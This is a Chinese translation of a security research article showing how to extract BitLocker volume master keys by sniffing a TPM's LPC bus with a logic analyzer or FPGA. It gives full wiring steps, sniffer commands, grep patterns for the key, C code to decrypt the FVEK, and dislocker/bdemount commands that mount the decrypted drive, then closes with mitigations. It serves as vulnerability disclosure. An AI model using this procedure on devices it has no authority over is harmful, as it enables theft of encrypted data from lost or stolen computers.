如何从TPM中提取BitLocker私钥

luochicun Web安全 2019年4月3日发布
Favorite收藏

导语:本文将介绍如何通过使用逻辑分析仪或廉价的FPGA开发板嗅探LPC总线,从TPM芯片中提取明文密钥。

BitLocker的运行原理

BitLocker驱动器加密它是在Windows Vista中新增的一种数据保护功能,主要用于解决一个人们越来越关心的问题:由计算机设备的物理丢失导致的数据失窃或恶意泄漏。在新一代操作系统Windows 8.1中也能使用此加密驱动。随同Windows Server 2008一同发布的有BitLocker实用程序,该程序能够通过加密逻辑驱动器来保护重要数据,还提供了系统启动完整性检查功能。

BitLocker使用TPM帮助保护Windows操作系统和用户数据,并帮助确保计算机即使在无人参与、丢失或被盗的情况下也不会被篡改。

受信任的平台模块(Trusted Platform Module,TPM)是一个内置在计算机中的微芯片。它用于存储加密信息,如加密密钥。存储在TPM上的信息会更安全,避免受到外部软件攻击和物理盗窃。BitLocker可加密存储于Windows操作系统卷上的所有数据,默认情况下,使用TPM以确保早期启动组件的完整性(组件用于启动进程的更早时期),以及“锁定”任何BitLocker保护卷,使之在即便计算机受到篡改也得到保护。

但是BitLocker有一项不足,打开加密盘后,再次进入就不需要密码了,那么如何才能使每次访问加密盘都要密码呢?这恐怕是微软后续改进的问题了,但是目前,我们可以在开始任务栏里输入“cmd”,然后以管理员身份运行,输入 manage-bde(空格)-lock(空格)X:,x为加密磁盘盘符。这样就可以再次锁住加密盘了。

Windows BitLocker驱动器加密通过加密Windows操作系统卷上存储的所有数据可以更好地保护计算机中的数据。如果计算机安装了兼容TPM,BitLocker将使用TPM锁定保护数据的加密密钥。因此,在TPM已验证计算机的状态之后,才能访问这些密钥。加密整个卷可以保护所有数据,包括操作系统本身、Windows注册表、临时文件以及休眠文件。因为解密数据所需的密钥保持由TPM锁定,因此攻击者无法通过只是取出硬盘并将其安装在另一台计算机上来读取数据。

在启动过程中,TPM将释放密钥,该密钥仅在将重要操作系统配置值的一个哈希值与一个先前所拍摄的快照进行比较之后解锁加密分区。这将验证Windows启动过程的完整性。如果TPM检测到Windows安装已被篡改,则不会释放密钥。

默认情况下,BitLocker安装向导配置为与TPM无缝使用。管理员可以使用组策略或脚本启用其他功能和选项。为了增强安全性,可以将TPM与用户输入的PIN或存储在USB闪存驱动器上的启动密钥组合使用。在不带有兼容TPM的计算机上,BitLocker可以提供加密,而不提供使用TPM锁定密钥的其他安全。在这种情况下,用户需要创建一个存储在USB闪存驱动器上的启动密钥。

TPM的运行原理

TPM是一个微芯片,设计用于提供基本安全性相关功能,主要涉及加密密钥。TPM通常安装在台式计算机或者便携式计算机的主板上,通过硬件总线与系统其余部分通信。

合并了TPM的计算机能够创建加密密钥并对其进行加密,以便只可以由TPM解密。此过程通常称作“覆盖”或“绑定”密钥,可以帮助避免泄露密钥。每个TPM有一个主覆盖密钥,称为“存储根密钥(SRK)”,它存储在TPM的内部。在TPM中创建的密钥的隐私部分从不暴露给其他组件、软件、进程或者人员。

合并了TPM的计算机还可以创建一个密钥,该密钥不仅被覆盖,而且还被连接到特定硬件或软件条件。这称为“密封”密钥。首次创建密封密钥时,TPM将记录配置值和文件哈希的快照。仅在这些当前系统值与快照中的值相匹配时才“解封”或释放密封密钥。BitLocker使用密封密钥检测对Windows操作系统完整性的攻击。

使用TPM,密钥对的隐私部分在操作系统控制的内存之外单独保存。因为TPM使用自身的内部固件和逻辑电路来处理指令,所以它不依赖于操作系统,也不会受外部软件漏洞的影响。

如何从TPM中提取BitLocker私钥

默认情况下,可以通过嗅探LPC总线,在TPM返回时检索卷的主密钥(Volume Master Key,VMK),并使用检索到的VMK解密受保护的驱动器来访问Microsoft BitLocker保护的操作系统驱动器。本文将介绍如何通过使用逻辑分析仪或廉价的FPGA开发板嗅探LPC总线,从TPM芯片中提取明文密钥。FPGA(Field-ProgrammableGateArray),即现场可编程门阵列,它是在PAL、GAL、CPLD等可编程器件的基础上进一步发展的产物。它是作为专用集成电路(ASIC)领域中的一种半定制电路而出现的,既解决了定制电路的不足,又克服了原有可编程器件门电路数有限的缺点。LPC总线,原名叫Low pin count Bus,是在IBM PC兼容机中用于把低带宽设备和“老旧”连接到CPU上。那些常见低速设备有:BIOS,串口,并口,PS/2的键盘和鼠标,软盘控制器,比较新的设备有TPM。

本文演示了对使用TPM1.2芯片的惠普笔记本电脑逻辑板和使用TPM2.0芯片的Surface Pro 3的攻击,方法就是从总线连接到卷解密,包括源代码。

当破解大神Hector Martin(@marcan)提到他能够直接从LPC总线上嗅探到BitLocker VMK时,我当时就有从 TPM 中提取 BitLocker 私钥的想法。 Hector使用FPGA来嗅探TPM1.2芯片的总线,但是我想看看我是否能用便宜的逻辑分析仪实现同样的功能并尝试攻击TPM2.0芯片。

注意:你可以使用非常便宜的FPGA (~$40NZD)和现在公开可用的代码,或者使用非常高级的逻辑分析仪,从TPM1.2或TPM2.0设备中嗅探默认配置中的BitLocker密钥。嗅探后,你可以解密驱动器。如果解密不成功,你就要启用其他预启动身份验证。

如何从TPM中提取BitLocker私钥的思路

Windows使用BitLocker加密驱动器。使用全卷加密密钥(FVEK)对数据进行加密。然后使用卷主密钥(VMK)对FVEK进行加密。 VMK由多个保护器加密,例如,在默认配置中有两个保护器。一个是TPM,另一个是恢复密钥。如果攻击者可以物理访问设备,则无法将笔记本电脑启动到Linux实时发行版(或删除驱动器)来访问你的数据。

在其默认配置中启用BitLocker时,启动时不需要其他用户交互。这是由于TPM仅用于解密VMK。这背后的想法是,如果笔记本电脑被盗,并且攻击者不知道你的登录密码,他们就无法取出驱动器并读取内容。对bios或启动加载程序代码的任何修改都应更改PCR值,并且TPM不会解密VMK。

当解密自动发生时,如果我们可以在TPM返回VMK时嗅探VMK,那么我们可以将该信息输入任意数量的BitLocker库并解密驱动器。

要强调的是,本文所讲的案例中,TPM不会解密密钥,除非它处于预期的启动状态(PCR寄存器中有一组特定的值)。这就是为什么你不能在TPM上启动Ubuntu live镜像,只是在TPM上劫持一个解密命令。

TPM挂在LPC、SPI或I2C总线上,以查看特定芯片的数据表。不过,本文只关注LPC总线。我在本文末尾的附注提供了TPM客户端规范的链接。对于SPI或I2C攻击,我将从逻辑分析仪开始。

首先我要从TPM1.2设备中提取BitLocker私钥,其目的是重复一遍从LPC总线上嗅探到BitLocker VMK的过程。稍后,我还会讲解如何从TPM2.0设备中提取BitLocker私钥。

布线

我测试的主板上有一块Infineon SLB96350芯片,通过LPC连接。下图显示了电路板上的芯片和数据表中的引脚(pin-out):

1.jpg

为了嗅探LPC总线,我们总共需要连接7根电线,它们分别是Clock, LFRAME, LAD0, LAD1, LAD2, LAD3和ground。由于我没有足够的逻辑探针来夹住0.65mm间距的引脚,所以我不得不将飞线(Jump wire)直接焊接到TPM芯片上。我注意到在TPM芯片左侧有一个未填充的头(上面的紫色框),因此我决定用万用表的连续模式戳这个头,以防它连接到LPC总线的调试头。经过验证,这确实是一个带有LPC总线连接的标头。我决定将飞线焊接到这些焊盘上,而不是直接焊接到TPM上。理由很简单,因为头部使用更大的间距,更容易焊接。如果电路板上的有些地方没有LPC调试头,那么你要小心处理并直接焊接到TPM(稍后将详细介绍),或者选择一些可以处理TSSOP28包的探针。

此时,我已经与总线进行了物理连接,因此下一步是连接一些可以读取LPC消息的东西。

用逻辑分析仪提取

我选择的是DSLogic Plus 16通道逻辑分析仪并将其连接起来,鉴于LPC总线时钟运行速度为33MHZ,我决定以100MHZ采样,DSLogic可以很顺利地在多个通道上进行采样。启动笔记本电脑并运行逻辑分析仪后,我看到可以使用DSView的LPC解码器解码的有效LPC数据。由于DSView使用libsigrokdecode(一个采用C语言编写的共享库),因此在Pulseview中应该是相同的。

2.gif

现在,我必须解决两个问题。第一个是解码器将TPM消息报告保存起来,并且没有正确解码它们;第二个是逻辑分析器没有足够的存储空间来捕获完整的启动过程,所以我只看到了在启动时发生的事情的快照。 DSLogic的运行长度编码意味着只要我没有捕获时钟信号,我就可以很好地捕获整个启动过程。但是如果没有时钟信号,解码器将无法工作,我必须手动解码所有内容。鉴于LPC消息量太大,手动解码是不可能被使用的。

修改LPC解码器

TPM LPC执行使用特定的START字段(0101),因此需要修改解码器来理解这一字段。具体的修复细节,请点击我建立的DSView存储库的pull请求。

解决缺乏时钟的问题

解决方案就是使用更好的逻辑分析仪,因此,使用单个通道,我可以在流模式下捕获100MHZ(这意味着我可以获取整整十秒的时钟)。我的计划是在启动过程中使用10秒的时间来捕获我需要的5个信号,然后捕获10秒的时钟,然后将这两个信号混合在一起并删除。不过还有另外一种办法,就是使用具有足够采样深度的逻辑分析仪(6个通道@ 100MHZ,持续10秒)。将这些结合起来就是解压缩捕获的文件、添加新数据和修改头文件以添加额外的探测。最终的结果就是,大量的LPC消息不断涌现。

检索VMK

既然LPC消息已被解码,剩下的就是在转储数据中找到VMK。现在我决定搜索VMK标头的开头:0x2c 0x00 0x00 0x00。如果确定标头在其中,我会手动浏览DSView中的消息,并确保解码器没有遗漏任何内容。如果标头不存在,我将尝试另外一个不同的时钟样本,然后再试一次。庆幸的是,第一次尝试就成功了。标头数据字节位于地址0x00000024上的TTPM read命令中,因此我接下来就是主要关注该地址的消息。

在DSView中进行捕获时,我把所有的字节都记录了下来,成功解码的消息如下所示。

3.gif

每次遇到消息时,我都确保内存读取地址为0x0024,然后解码数据字节。 LPC数据字段是由小字节序构成的,以最低有效位开头。具体解码过程如下所示:

4.1.jpg

4.2.jpg

在完成捕获后,我最终得到了完整的VMK(用粉色高亮显示)。

5.jpg

注意:你确实可以使用逻辑分析器提取BitLocker密钥。不过比一定非得使用我介绍的工具,你可以使用一个采样深度更大且让你信任的逻辑分析仪。

TPM2.0

TPM2.0设备支持命令和响应参数加密,可以防止嗅探攻击。 但是Windows没有进行此配置,因此TPM1.2设备上的提取方法同样适用于TPM2.0。

继续使用FPGA,针对Surface Pro 3执行了以下攻击。

LPC

我使用https://github.com/lynxis/lpc_sniffer进行了一些更改,ICEStick(一款易于使用、带有USB接口、拇指大小的开发板)将读取LPC消息并通过UART发回数据。为此,我需要在ICEStick的FTDI芯片的第二个接口上启用Fast-opto模式。

由于我调整了代码库来查找TPM特定的起始字段,所以我遇到了循环缓冲区(Ring Buffer)溢出的问题。原因是LPC消息太多,因此我修改了代码库仅记录地址为0x00000024的消息。这似乎解决了溢出问题,得以让我在启动期间捕获所有0x00000024寻址数据。如果你正在使用具有此代码库的ICEStick,请密切注意溢出问题。如果循环缓冲区开始溢出,那么你将获得不完整的数据。

嗅探器代码可在此处获取:https://github.com/denandz/lpc_sniffer_tpm

布线

连接Surface Pro 3可能是整个项目中最枯燥和复杂的部分,建议你一定要保持耐心。拆下逻辑板后,TPM芯片位于底部,即英飞凌SLB9665TT2.0:

6.jpg

我会将一些飞线直接焊接到TPM芯片上,虽然在这个板上有一堆各种各样的未填充头,但是它们都很精细,所以我尝试将它们直接连接在芯片上。然后重新组装表面,并将飞线引出壳体外。接着,我会将飞线焊接到GND, LCLK, LFRAME#, LRESET#和LAD[0:3]引脚,然后将两端镀上锡并进行标记。

7.1.jpg

7.2.jpg

根据LPC嗅探器报告中的Readme.MD文件介绍,这些引线将连接到Lattice ICEStick。

8.jpg

私钥提取

在连接并刷新FPGA之后,我会使用以下命令检索VMK,然后打开Surface:

sudo python3 parse/read_serial.py /dev/ttyUSB1  | tee log1

9.gif

从FPGA返回的数据结构为 b'[32 bit address][8 bit data][read (00) or write (02)]'。

以下就是用于检索VMK的代码::

[email protected]:~/tools/lpc_sniffer_tpm$ cut -f 2 -d\' log1 | grep '24..00$'  \
> | perl -pe 's/.{8}(..)..\n/$1/' | grep -Po "2c0000000100000003200000(..){32}"
2c00000001000000032000009a126146b5b285c93f7c4bcd372f91d0181fe7eddc44e588459ebdb244d97baa

在本文的案例中,VMK是

9a126146b5b285c93f7c4bcd372f91d0181fe7eddc44e588459ebdb244d97baa

私钥解密

通过使用Dislocker代码库解密FVEK,然后安装驱动器来实现驱动器解密。对于Surface Pro 3,首先连接驱动器:

11.jpg

[email protected]:~/src/dislocker-0.7.1/src$ sudo dd status=progress if=/dev/sda of=surface_pro.img bs=8M
127934660608 bytes (128 GB, 119 GiB) copied, 474 s, 270 MB/s
15263+1 records in
15263+1 records out
128035676160 bytes (128 GB, 119 GiB) copied, 475.489 s, 269 MB/s

使用dislocker-metadata命令检索加密的FVEK,MAC和nonce:

[email protected]:~/src/dislocker-0.7.1/src$ ./dislocker-metadata -vvvv -V ./surface_pro.img -o $((1492992*512))  
Mon Feb 18 22:08:44 2019 [DEBUG] Verbosity level to DEBUG (4) into 'stdout'
Mon Feb 18 22:08:44 2019 [INFO] dislocker by Romain Coltel, v0.7.1 (compiled for Linux/x86_64)
Mon Feb 18 22:08:44 2019 [INFO] Compiled version: :
Mon Feb 18 22:08:44 2019 [DEBUG] Trying to open './surface_pro.img'...
Mon Feb 18 22:08:44 2019 [DEBUG] Trying to open './surface_pro.img'...
Mon Feb 18 22:08:44 2019 [DEBUG] Opened (fd #3).
{...snip...}
Mon Feb 18 22:08:44 2019 [DEBUG] Total datum size: 0x0050 (80) bytes
Mon Feb 18 22:08:44 2019 [DEBUG] Datum entry type: 3
Mon Feb 18 22:08:44 2019 [DEBUG]    `--> ENTRY TYPE FVEK (FveDatasetVmkGetFvek)
Mon Feb 18 22:08:44 2019 [DEBUG] Datum value type: 5
Mon Feb 18 22:08:44 2019 [DEBUG]    `--> AES-CCM -- Total size header: 36 -- Nested datum: no
Mon Feb 18 22:08:44 2019 [DEBUG] Status: 0x1
Mon Feb 18 22:08:44 2019 [DEBUG] Nonce: 
Mon Feb 18 22:08:44 2019 [DEBUG] b0 b2 fb 7c b4 c6 d4 01 0f 00 00 00 
Mon Feb 18 22:08:44 2019 [DEBUG] MAC: 
Mon Feb 18 22:08:44 2019 [DEBUG] dc 5f 42 12 9a 4c 5f d5 12 97 e3 15 9b 83 10 56 
Mon Feb 18 22:08:44 2019 [DEBUG] Payload:
Mon Feb 18 22:08:44 2019 [DEBUG] 0x00000000 fb d6 5f 50 e3 82 92 60-71 16 5c 7a 4b d3 a9 92 
Mon Feb 18 22:08:44 2019 [DEBUG] 0x00000010 a3 94 ff 09 ed bc 6b fb-16 cc 2e 08 ee 25 57 95 
Mon Feb 18 22:08:44 2019 [DEBUG] 0x00000020 e9 7b 83 8b 8d 6f cd 0e-06 e9 5c 54 
{...snip...}

然后,将上面的值与VMK一起传递给解密函数,以检索FVEK。

// In the dislocker main directory, run make then compile with: 
//      /usr/bin/cc -I./include -fPIC -Wall -Wextra -fstack-protector -o fvek-decrypt fvek-decrypt.c \
//          src/libdislocker.so.0.7.1 -lpthread /usr/lib/x86_64-linux-gnu/libmbedcrypto.so

#include "dislocker/common.h"
#include "dislocker/encryption/decrypt.h"

int main ()
{
    dis_stdio_init(L_DEBUG, NULL);

    unsigned char encrypted_fvek[] = {
        0xfb, 0xd6, 0x5f, 0x50, 0xe3, 0x82, 0x92, 0x60, 0x71, 0x16, 0x5c, 0x7a,
        0x4b, 0xd3, 0xa9, 0x92, 0xa3, 0x94, 0xff, 0x09, 0xed, 0xbc, 0x6b, 0xfb,
        0x16, 0xcc, 0x2e, 0x08, 0xee, 0x25, 0x57, 0x95, 0xe9, 0x7b, 0x83, 0x8b,
        0x8d, 0x6f, 0xcd, 0x0e, 0x06, 0xe9, 0x5c, 0x54
    };

    unsigned char mac[] = { 0xdc, 0x5f, 0x42, 0x12, 0x9a, 0x4c, 0x5f, 0xd5, 0x12, 0x97, 0xe3, 0x15, 0x9b, 0x83, 0x10, 0x56 };

    unsigned char nonce[] = { 0xb0, 0xb2, 0xfb, 0x7c, 0xb4, 0xc6, 0xd4, 0x01, 0x0f, 0x00, 0x00, 0x00 };

    unsigned char vmk[] = {
        0x9a, 0x12, 0x61, 0x46, 0xb5, 0xb2, 0x85, 0xc9, 0x3f, 0x7c, 0x4b, 0xcd,
        0x37, 0x2f, 0x91, 0xd0, 0x18, 0x1f, 0xe7, 0xed, 0xdc, 0x44, 0xe5, 0x88,
        0x45, 0x9e, 0xbd, 0xb2, 0x44, 0xd9, 0x7b, 0xaa
    };

    void * output;

    decrypt_key( encrypted_fvek, sizeof(encrypted_fvek), mac, nonce, vmk, sizeof(vmk) * 8, &output);
    hexdump(L_DEBUG, output, 0x2c);
[email protected]:~/src/dislocker-0.7.1$ ./fvek-decrypt 
{...snip...}
Mon Feb 18 22:35:37 2019 [DEBUG] Ending aes_ccm_compute_unencrypted_tag successfully!
Mon Feb 18 22:35:37 2019 [DEBUG] Looking if MACs match...
Mon Feb 18 22:35:37 2019 [DEBUG] They are just below:
Mon Feb 18 22:35:37 2019 [DEBUG] 0x00000000 86 bb 9b 2d 98 84 85 40-3a ce ed 70 6e b4 a8 3f 
Mon Feb 18 22:35:37 2019 [DEBUG] 0x00000000 86 bb 9b 2d 98 84 85 40-3a ce ed 70 6e b4 a8 3f 
Mon Feb 18 22:35:37 2019 [DEBUG] Ok, they match!
Mon Feb 18 22:35:37 2019 [DEBUG] 0x00000000 2c 00 00 00 01 00 00 00-04 80 00 00 c9 4e 3e 9a 
Mon Feb 18 22:35:37 2019 [DEBUG] 0x00000010 18 e7 50 38 d5 c1 74 04-7f 50 3e 86 5b de 78 83 
Mon Feb 18 22:35:37 2019 [DEBUG] 0x00000020 45 6b c4 ef 9b c1 00 d2-45 97 14 1b

检索FVEK后,我们可以将该信息传递给bdemount并获取对明文信息的访问权限:

[email protected]:~/src/dislocker-0.7.1/src$ sudo bdemount -k c94e3e9a18e75038d5c174047f503e865bde7883456bc4ef9bc100d24597141b -o $((1492992*512)) surface_pro.img /mnt/bitlocker
bdemount 20170902

[email protected]:~/src/dislocker-0.7.1/src$ sudo mkdir /mnt/ntfs
[email protected]:~/src/dislocker-0.7.1/src$ sudo mount -oro /mnt/bitlocker/bde1 /mnt/ntfs
[email protected]:~/src/dislocker-0.7.1/src$ cd /mnt/ntfs/
[email protected]:/mnt/ntfs$ ls -l
total 5555352
drwxrwxrwx 1 root root       4096 Feb 17 22:07  Config.Msi
-rwxrwxrwx 1 root root 4195418112 Feb 18 14:25  hiberfil.sys
drwxrwxrwx 1 root root          0 Feb 13 02:09  Intel
-rwxrwxrwx 1 root root 1476395008 Feb 18 01:00  pagefile.sys
drwxrwxrwx 1 root root          0 Feb 13 00:59  PerfLogs
drwxrwxrwx 1 root root       4096 Feb 13 07:35  ProgramData
drwxrwxrwx 1 root root       4096 Feb 13 07:35 'Program Files'
drwxrwxrwx 1 root root       4096 Feb 13 07:35 'Program Files (x86)'
drwxrwxrwx 1 root root          0 Feb 13 01:06  Recovery
drwxrwxrwx 1 root root          0 Feb 13 04:05 '$Recycle.Bin'
-rwxrwxrwx 1 root root   16777216 Feb 18 01:00  swapfile.sys
drwxrwxrwx 1 root root       4096 Feb 13 01:06 '$SysReset'
drwxrwxrwx 1 root root      40960 Feb 13 08:44 'System Volume Information'
drwxrwxrwx 1 root root       4096 Feb 13 02:39  Users

如何缓解从TPM中提取BitLocker私钥

使用TPM+PIN保护程序然后启用BitLocker可以缓解此漏洞,但是用户需要在启动时输入PIN。除了使用TPM之外,用作额外预启动身份验证的智能卡或USB密钥也可以缓解此问题。点击这里,可以查看微软给出的官方保护对策。

由于系统启动时不需要用户提供任何密钥材料,因此有许多方法可以尝试检索BitLocker密钥。比如对于DMA攻击,许多PC可能易受到针对UEFI的预引导直接内存访问(DMA)攻击,对此,我想知道官方的措施中是否有相关的保护措施存在?即使启用了请求和响应参数加密,仍然可能存在从TPM检索密钥的方法。

在我将我的想法告诉给MSRC后,他们建议如果我担心这种攻击,可以启用额外的预启动身份验证

本文翻译自:https://pulsesecurity.co.nz/articles/TPM-sniffing如若转载,请注明原文地址: https://www.4hou.com/web/16812.html
点赞 4
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论